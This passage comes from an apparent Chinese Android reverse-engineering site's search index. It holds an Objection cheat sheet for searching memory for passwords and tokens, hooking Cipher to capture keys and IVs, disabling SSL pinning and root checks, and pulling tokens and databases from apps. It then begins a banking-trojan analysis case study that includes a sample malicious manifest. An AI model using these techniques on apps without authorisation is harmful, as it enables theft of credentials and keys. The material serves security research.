Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#内存-dump"},{"categories":null,"collections":null,"content":"内存搜索 # 搜索字符串 memory search \"password\" memory search \"api_key\" memory search \"token\" # 搜索十六进制模式 memory search \"50 4b 03 04\" # ZIP 文件头 memory search \"64 65 78 0a\" # DEX 文件头 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:6:3","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#内存搜索"},{"categories":null,"collections":null,"content":"堆分析 # 搜索堆中的对象实例 android heap search instances com.example.app.model.User # 输出示例： # Hashcode Class toString() # ---------- ---------------------------- ------------------ # 123456 com.example.app.model.User User{name=admin} # 789012 com.example.app.model.User User{name=guest} # 调用实例方法 android heap execute 123456 getToken # 进入交互模式操作实例 android heap evaluate 123456 # 进入编辑器后输入 JavaScript： # console.log(clazz.username.value) # console.log(clazz.password.value) # console.log(clazz.getToken()) ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:6:4","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#堆分析"},{"categories":null,"collections":null,"content":"Activity / Service 操作 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:7:0","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#activity--service-操作"},{"categories":null,"collections":null,"content":"列出组件 # 列出所有 Activity android hooking list activities # 输出示例： # com.example.app.MainActivity # com.example.app.LoginActivity # com.example.app.SettingsActivity # com.example.app.debug.DebugActivity \u003c-- 可能是隐藏的调试页面 # 列出所有 Service android hooking list services # 列出所有 BroadcastReceiver android hooking list receivers ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:7:1","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#列出组件"},{"categories":null,"collections":null,"content":"获取当前 Activity android hooking get current_activity # 输出示例： # Activity: com.example.app.MainActivity # Fragment: HomeFragment ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:7:2","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#获取当前-activity"},{"categories":null,"collections":null,"content":"启动 Activity # 直接启动指定 Activity（绕过正常导航流程） android intent launch_activity com.example.app.debug.DebugActivity # 启动需要 Extra 参数的 Activity android intent launch_activity com.example.app.DetailActivity 实战技巧: 有些应用会在 AndroidManifest 中声明调试用的 Activity（如 DebugActivity、TestActivity），但在正常流程中不会展示。通过 list activities 找到它们后直接启动，往往能发现隐藏功能。 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:7:3","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#启动-activity"},{"categories":null,"collections":null,"content":"Hook Activity 生命周期 # 监控 Activity 的生命周期方法 android hooking watch class_method android.app.Activity.onCreate --dump-args android hooking watch class_method android.app.Activity.onResume --dump-args # 监控特定 Activity android hooking watch class com.example.app.LoginActivity ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:7:4","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#hook-activity-生命周期"},{"categories":null,"collections":null,"content":"Service 操作 # Hook Service 的关键方法 android hooking watch class_method android.app.Service.onStartCommand --dump-args --dump-return # 监控特定 Service android hooking watch class com.example.app.SyncService ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:7:5","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#service-操作"},{"categories":null,"collections":null,"content":"Keystore 操作 Android Keystore 是应用存储加密密钥的安全容器。Objection 可以列出和提取其中的内容。 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:8:0","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#keystore-操作"},{"categories":null,"collections":null,"content":"列出 Keystore 条目 # 列出 Android Keystore 中的所有密钥别名 android keystore list # 输出示例： # Alias Type # ------------------ ---------------- # my_rsa_key PrivateKeyEntry # encryption_key SecretKeyEntry # signing_cert TrustedCertificateEntry ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:8:1","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#列出-keystore-条目"},{"categories":null,"collections":null,"content":"监控 Keystore 操作 # Hook KeyStore 类，观察应用如何使用密钥 android hooking watch class java.security.KeyStore --dump-args --dump-return # Hook Cipher 类，观察加解密操作 android hooking watch class javax.crypto.Cipher --dump-args --dump-return # 监控密钥生成 android hooking watch class_method javax.crypto.KeyGenerator.generateKey --dump-return android hooking watch class_method java.security.KeyPairGenerator.generateKeyPair --dump-return ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:8:2","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#监控-keystore-操作"},{"categories":null,"collections":null,"content":"证书提取 # Hook 证书加载过程 android hooking watch class_method java.security.KeyStore.getCertificate --dump-args --dump-return # 监控证书链 android hooking watch class_method java.security.KeyStore.getCertificateChain --dump-args --dump-return ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:8:3","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#证书提取"},{"categories":null,"collections":null,"content":"实战：提取应用加密密钥 💡 思路一句话: objection 一行命令 hook Cipher/SecretKeySpec/Mac 等加密类 → 自动打印算法名称、密钥、IV、明文/密文 → 无需手写 Frida 脚本，适合快速获取加密参数。 # 1. 搜索加密相关的类 android hooking search classes Crypto android hooking search classes Cipher android hooking search classes SecretKey # 2. 监控 Cipher.init()，获取密钥和 IV android hooking watch class_method javax.crypto.Cipher.init --dump-args --dump-backtrace # 3. 监控 SecretKeySpec 构造函数，获取原始密钥字节 android hooking watch class_method javax.crypto.spec.SecretKeySpec.$init --dump-args # 4. 监控 IvParameterSpec，获取 IV android hooking watch class_method javax.crypto.spec.IvParameterSpec.$init --dump-args ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:8:4","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#实战提取应用加密密钥"},{"categories":null,"collections":null,"content":"Hook 功能 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:9:0","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#hook-功能"},{"categories":null,"collections":null,"content":"Watch 命令详解 android hooking watch 是 Objection 最核心的命令，支持多种选项： # 基本用法：Hook 整个类 android hooking watch class com.example.app.CryptoUtil # Hook 单个方法 android hooking watch class_method com.example.app.CryptoUtil.encrypt # 完整选项：打印参数 + 返回值 + 调用栈 android hooking watch class_method com.example.app.CryptoUtil.encrypt \\ --dump-args \\ --dump-return \\ --dump-backtrace 各选项说明： 选项 说明 --dump-args 打印方法被调用时的所有参数 --dump-return 打印方法的返回值 --dump-backtrace 打印调用栈，显示是谁调用了这个方法 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:9:1","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#watch-命令详解"},{"categories":null,"collections":null,"content":"修改返回值 # 让方法始终返回 true android hooking set return_value com.example.app.Security.isVPN true # 让方法始终返回 false android hooking set return_value com.example.app.Security.isRooted false # 返回字符串 android hooking set return_value com.example.app.Config.getApiUrl \"https://my-proxy.com\" ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:9:2","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#修改返回值"},{"categories":null,"collections":null,"content":"列出已加载的类 # 列出所有类（输出量非常大） android hooking list classes # 建议结合搜索使用 android hooking search classes com.example android hooking search classes encrypt android hooking search classes certificate android hooking search classes token android hooking search classes auth ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:9:3","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#列出已加载的类"},{"categories":null,"collections":null,"content":"管理 Hook 任务 每个 watch 命令会创建一个后台任务： # 查看所有活跃的 Hook 任务 jobs list # 输出示例： # Job ID Hooks Type # ------ ----- ----- # 1 12 watch-class # 2 1 watch-method # 停止某个 Hook 任务 jobs kill 1 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:9:4","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#管理-hook-任务"},{"categories":null,"collections":null,"content":"数据库操作 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:10:0","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#数据库操作"},{"categories":null,"collections":null,"content":"列出数据库 # 列出应用的所有 SQLite 数据库 android hooking search classes SQLiteDatabase # 或者直接浏览数据库目录 ls /data/data/com.example.app/databases/ # 输出示例： # Type Size Name # ----- -------- --------------- # File 2.1 MB app.db # File 32.0 KB app.db-journal # File 512.0 KB analytics.db ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:10:1","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#列出数据库"},{"categories":null,"collections":null,"content":"连接并查询数据库 # 连接数据库 sqlite connect /data/data/com.example.app/databases/app.db # 查看所有表 sqlite execute query \"SELECT name FROM sqlite_master WHERE type='table';\" # 查询表结构 sqlite execute query \"PRAGMA table_info(users);\" # 查询数据 sqlite execute query \"SELECT * FROM users;\" sqlite execute query \"SELECT username, token FROM users WHERE id=1;\" # 断开连接 sqlite disconnect ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:10:2","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#连接并查询数据库"},{"categories":null,"collections":null,"content":"下载数据库到本机分析 # 下载到本机 file download /data/data/com.example.app/databases/app.db ./app.db # 在本机使用 sqlite3 打开 # sqlite3 ./app.db # .tables # .schema users # SELECT * FROM users; ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:10:3","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#下载数据库到本机分析"},{"categories":null,"collections":null,"content":"监控数据库操作 # Hook SQLiteDatabase 的 query 方法，观察应用执行了哪些 SQL android hooking watch class_method android.database.sqlite.SQLiteDatabase.rawQuery --dump-args android hooking watch class_method android.database.sqlite.SQLiteDatabase.execSQL --dump-args # Hook ContentProvider android hooking watch class_method android.content.ContentResolver.query --dump-args --dump-backtrace ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:10:4","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#监控数据库操作"},{"categories":null,"collections":null,"content":"实战组合技 💡 思路一句话: objection 的强大在于「组合使用」— SSL pinning bypass + 内存搜索 + 加密类 hook + 文件监控，四合一覆盖大部分逆向场景，一个工具搞定 80% 的工作。 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:11:0","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#实战组合技"},{"categories":null,"collections":null,"content":"场景一：分析登录流程 # 第 1 步：禁用 SSL Pinning 以便抓包 android sslpinning disable # 第 2 步：找到登录相关的类 android hooking search classes Login android hooking search classes Auth android hooking search classes Credential # 第 3 步：列出目标类的方法 android hooking list class_methods com.example.app.LoginManager # 第 4 步：Hook 登录方法，观察参数 android hooking watch class_method com.example.app.LoginManager.login \\ --dump-args --dump-return --dump-backtrace # 第 5 步：Hook 加密方法，看密码如何被加密 android hooking watch class_method com.example.app.CryptoUtil.encrypt \\ --dump-args --dump-return # 第 6 步：在 App 中执行登录操作，观察输出 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:11:1","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#场景一分析登录流程"},{"categories":null,"collections":null,"content":"场景二：提取应用 Token # 方法一：从 SharedPreferences 中直接读取 cat /data/data/com.example.app/shared_prefs/auth.xml # 方法二：从堆中搜索 Token 对象 android heap search instances com.example.app.model.AuthToken android heap execute \u003chashcode\u003e getAccessToken # 方法三：Hook 网络请求，从 Header 中获取 android hooking watch class_method okhttp3.Request.header --dump-args --dump-return android hooking watch class_method okhttp3.Request$Builder.addHeader --dump-args ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:11:2","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#场景二提取应用-token"},{"categories":null,"collections":null,"content":"场景三：绕过多重保护分析加密 # 第 1 步：绕过安全检测 android root disable android sslpinning disable # 第 2 步：搜索加密相关类 android hooking search classes Cipher android hooking search classes AES android hooking search classes encrypt # 第 3 步：Hook 加密入口 android hooking watch class_method javax.crypto.Cipher.doFinal --dump-args --dump-return android hooking watch class_method javax.crypto.Cipher.init --dump-args --dump-backtrace # 第 4 步：Hook 密钥生成 android hooking watch class_method javax.crypto.spec.SecretKeySpec.$init --dump-args # 第 5 步：操作应用触发加密流程，从输出中收集： # - 加密算法（AES/DES/RSA） # - 密钥字节 # - IV 向量 # - 明文和密文 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:11:3","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#场景三绕过多重保护分析加密"},{"categories":null,"collections":null,"content":"场景四：快速信息收集 # 一次性执行多条命令快速了解应用 objection -g com.example.app explore \\ --startup-command \"android hooking list activities\" \\ --startup-command \"android hooking list services\" \\ --startup-command \"android hooking list receivers\" \\ --startup-command \"android keystore list\" \\ --startup-command \"env\" ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:11:4","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#场景四快速信息收集"},{"categories":null,"collections":null,"content":"Objection vs Frida CLI ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:12:0","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#objection-vs-frida-cli"},{"categories":null,"collections":null,"content":"什么时候用 Objection 场景 推荐工具 原因 快速禁用 SSL Pinning Objection 一条命令搞定 搜索类和方法 Objection 内置搜索命令，无需写代码 浏览文件系统 Objection 交互式 Shell 体验更好 简单的方法 Hook Objection watch 命令即可 修改方法返回值 Objection set return_value 一行搞定 复杂的参数构造/修改 Frida CLI 需要 JavaScript 灵活处理 批量 Hook + 自定义逻辑 Frida CLI 脚本更灵活，可以写循环和条件判断 Native 层 Hook (Interceptor) Frida CLI Objection 对 Native Hook 支持有限 自动化测试脚本 Frida CLI Python 绑定更适合自动化 RPC 远程调用 Frida CLI 需要 frida.get_remote_device() 等 API ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:12:1","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#什么时候用-objection"},{"categories":null,"collections":null,"content":"组合使用 Objection 和 Frida 并不是二选一的关系，最高效的方式是组合使用： # 1. 用 Objection 快速侦察 objection -g com.example.app explore # \u003e android hooking search classes Encrypt # \u003e android hooking list class_methods com.example.app.EncryptUtil # \u003e android hooking watch class_method com.example.app.EncryptUtil.encrypt --dump-args # 2. 发现目标后，导入自定义 Frida 脚本进行精细操作 import /path/to/custom_hook.js 在 Objection Shell 中导入自定义脚本： # 导入脚本 import /path/to/my_script.js # 脚本示例（my_script.js）： # Java.perform(function() { # var EncryptUtil = Java.use(\"com.example.app.EncryptUtil\"); # EncryptUtil.encrypt.overload(\"java.lang.String\").implementation = function(input) { # console.log(\"[*] encrypt 输入: \" + input); # var result = this.encrypt(input); # console.log(\"[*] encrypt 输出: \" + result); # // 可以在这里修改参数或返回值 # return result; # }; # }); ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:12:2","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#组合使用"},{"categories":null,"collections":null,"content":"总结 初步侦察 / 快速验证 --\u003e Objection（零代码，交互式） | v 深入分析 / 自动化 --\u003e Frida CLI（脚本灵活，可编程） | v 生产级方案 --\u003e Frida Python 绑定 + 自定义 Agent Objection 是逆向分析的\"瑞士军刀\"，适合快速上手和初步侦察。当需要更复杂的逻辑时，再切换到原生 Frida 脚本。两者配合使用，可以显著提升逆向效率。 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:12:3","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#总结"},{"categories":null,"collections":null,"content":"安卓恶意软件分析实战 📚 前置知识 本案例涉及以下核心技术，建议先阅读相关章节： AndroidManifest 分析 - 识别恶意权限和入口点 Jadx 静态分析 - 反编译 APK 定位关键代码 Frida 使用指南 - 动态 Hook 分析恶意行为 反分析技术案例 - 理解恶意软件的反检测手段 恶意软件分析是逆向工程的一个重要应用领域。与常规 App 分析不同，分析恶意软件更关注其隐藏行为、持久化机制、窃密手段以及C2 (Command \u0026 Control) 通信。 本案例将系统性地介绍 Android 恶意软件分析的完整方法论，并以一个典型的 Android 银行木马 (Banking Trojan) 作为贯穿始终的实战案例。 免责声明: 本文内容仅供安全研究和学习使用。所有样本分析均在隔离环境中进行。请勿将文中技术用于非法目的。 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:0:0","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#安卓恶意软件分析实战"},{"categories":null,"collections":null,"content":"Android 恶意软件分类 在开始分析之前，了解恶意软件的种类有助于快速判断样本属于哪一类并确定分析重点。 ┌──────────────────────────────────────────────────────────────────────┐ │ Android 恶意软件分类体系 │ ├──────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌────────────┐ ┌────────────┐ ┌────────────┐ │ │ │ 银行木马 │ │ 勒索软件 │ │ 间谍软件 │ │ 广告软件 │ │ │ │ Banking │ │ Ransomware │ │ Spyware │ │ Adware │ │ │ │ Trojan │ │ │ │ │ │ │ │ │ ├────────────┤ ├────────────┤ ├────────────┤ ├────────────┤ │ │ │ 覆盖攻击 │ │ 加密文件 │ │ GPS 追踪 │ │ 弹窗广告 │ │ │ │ 短信拦截 │ │ 锁定屏幕 │ │ 通话录音 │ │ 后台点击 │ │ │ │ 窃取凭证 │ │ 勒索赎金 │ │ 相机拍照 │ │ 流量欺诈 │ │ │ └────────────┘ └────────────┘ └────────────┘ └────────────┘ │ │ │ │ ┌────────────┐ ┌────────────┐ ┌────────────┐ │ │ │ 远控木马 │ │ 蠕虫病毒 │ │ 挖矿木马 │ │ │ │ RAT │ │ Worm │ │ Cryptominer│ │ │ ├────────────┤ ├────────────┤ ├────────────┤ │ │ │ 远程控制 │ │ 短信传播 │ │ 后台挖矿 │ │ │ │ 屏幕监控 │ │ 自我复制 │ │ 耗电耗流量 │ │ │ │ 文件窃取 │ │ 社交传播 │ │ 性能下降 │ │ │ └────────────┘ └────────────┘ └────────────┘ │ │ │ └──────────────────────────────────────────────────────────────────────┘ ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:1:0","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#android-恶意软件分类"},{"categories":null,"collections":null,"content":"主要类别详细对照表 类别 代表家族 核心行为 关键权限 分析重点 银行木马 Anubis, Cerberus, SharkBot 覆盖攻击、短信拦截、凭证窃取 BIND_ACCESSIBILITY_SERVICE, RECEIVE_SMS, SYSTEM_ALERT_WINDOW 目标 App 列表、覆盖页面、C2 通信 勒索软件 DoubleLocker, Koler, Simplocker 文件加密、屏幕锁定、勒索赎金 WRITE_EXTERNAL_STORAGE, BIND_DEVICE_ADMIN 加密算法、密钥管理、解锁条件 间谍软件 Pegasus, Hermit, PhoneSpy GPS 定位、通话录音、消息窃取 ACCESS_FINE_LOCATION, RECORD_AUDIO, READ_CONTACTS 数据采集范围、回传频率、触发条件 广告软件 HiddenAds, xHelper, Joker 强制弹窗、后台点击、订阅欺诈 INTERNET, ACCESS_WIFI_STATE 广告 SDK 来源、订阅扣费逻辑 远控木马 (RAT) AhMyth, AndroRAT, SpyNote 完全远程控制、屏幕实时投影 几乎申请所有权限 C2 协议、控制指令集、持久化机制 挖矿木马 CoinHive, HiddenMiner 后台加密货币挖矿 INTERNET, WAKE_LOCK 挖矿算法、矿池地址、资源占用策略 蠕虫病毒 Filecoder, Cabir 短信/社交传播、自我复制 SEND_SMS, READ_CONTACTS 传播载体、感染链、Payload 投递 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:1:1","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#主要类别详细对照表"},{"categories":null,"collections":null,"content":"识别类别的快速方法 在拿到一个未知样本后，可以通过以下方法快速分类： 权限特征 - 申请 BIND_ACCESSIBILITY_SERVICE + RECEIVE_SMS 大概率是银行木马 Manifest 组件 - 注册了 DeviceAdminReceiver 可能是勒索软件 字符串特征 - 包含 bitcoin, monero, stratum 等关键词指向挖矿木马 网络行为 - 频繁连接特定 IP 或使用 Telegram Bot API 常见于 RAT/银行木马 APKiD 扫描 - 快速识别加壳类型和编译器特征 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:1:2","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#识别类别的快速方法"},{"categories":null,"collections":null,"content":"静态分析流程 静态分析是恶意软件分析的第一步，不运行样本即可提取大量有价值的信息。 ┌─────────────────────────────────────────────────────────────┐ │ 静态分析完整流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ [样本获取] ──\u003e [哈希计算] ──\u003e [VirusTotal 查询] │ │ │ │ │ │ v v │ │ [APKiD 扫描] ──\u003e [是否加壳?] [已知家族?] │ │ │ │ │ │ │ │ │ N │ │ Y │ │ │ v v v v │ │ [APK 解包] [直接分析] [脱壳处理] [参考已有报告] │ │ │ │ │ │ │ v v v │ │ [Manifest 分析] ──────────────\u003e │ │ │ │ │ v │ │ [权限分析] ──\u003e [入口点定位] ──\u003e [代码审查] │ │ │ │ │ │ │ v v v │ │ [字符串提取] ──\u003e [加密逻辑] ──\u003e [IOC 提取] │ │ │ └─────────────────────────────────────────────────────────────┘ ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:2:0","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#静态分析流程"},{"categories":null,"collections":null,"content":"2.1 样本信息采集 拿到样本后的第一步是计算哈希值并查询威胁情报： # 计算样本各类哈希值 md5sum suspicious.apk sha1sum suspicious.apk sha256sum suspicious.apk # 使用 file 命令确认文件类型 file suspicious.apk # 使用 aapt 快速提取包名和版本 aapt dump badging suspicious.apk | grep -E \"package|sdkVersion|uses-permission\" ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:2:1","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#21-样本信息采集"},{"categories":null,"collections":null,"content":"2.2 Manifest 深度审查 AndroidManifest.xml 是分析的核心切入点，恶意行为的诸多线索都暴露在这里。 \u003c!-- 恶意软件典型 Manifest 特征 --\u003e \u003cmanifest package=\"com.system.update\"\u003e \u003c!-- 伪装系统更新 --\u003e \u003c!-- 危险权限组合 --\u003e \u003cuses-permission android:name=\"android.permission.RECEIVE_SMS\"/\u003e \u003cuses-permission android:name=\"android.permission.READ_SMS\"/\u003e \u003cuses-permission android:name=\"android.permission.SEND_SMS\"/\u003e \u003cuses-permission android:name=\"android.permission.BIND_ACCESSIBILITY_SERVICE\"/\u003e \u003cuses-permission android:name=\"android.permission.SYSTEM_ALERT_WINDOW\"/\u003e \u003cuses-permission android:name=\"android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS\"/\u003e \u003cuses-permission android:name=\"android.permission.RECEIVE_BOOT_COMPLETED\"/\u003e \u003cuses-permission android:name=\"android.permission.FOREGROUND_SERVICE\"/\u003e \u003capplication\u003e \u003c!-- 隐藏图标 --\u003e \u003cactivity android:name=\".MainActivity\"\u003e \u003cintent-filter\u003e \u003caction android:name=\"android.intent.action.MAIN\"/\u003e \u003c!-- 注意：恶意软件安装后可能动态禁用此组件以隐藏图标 --\u003e \u003ccategory android:name=\"android.intent.category.LAUNCHER\"/\u003e \u003c/intent-filter\u003e \u003c/activity\u003e \u003c!-- 无障碍服务 (核心恶意组件) --\u003e \u003cservice android:name=\".services.MyAccessibilityService\" android:permission=\"android.permission.BIND_ACCESSIBILITY_SERVICE\"\u003e \u003cintent-filter\u003e \u003caction android:name=\"android.accessibilityservice.AccessibilityService\"/\u003e \u003c/intent-filter\u003e \u003cmeta-data android:name=\"android.accessibilityservice\" android:resource=\"@xml/accessibility_config\"/\u003e \u003c/service\u003e \u003c!-- 短信接收器 --\u003e \u003creceiver android:name=\".receivers.SmsReceiver\" android:permission=\"android.permission.BROADCAST_SMS\"\u003e \u003cintent-filter android:priority=\"999\"\u003e \u003c!-- 高优先级抢先拦截 --\u003e \u003caction 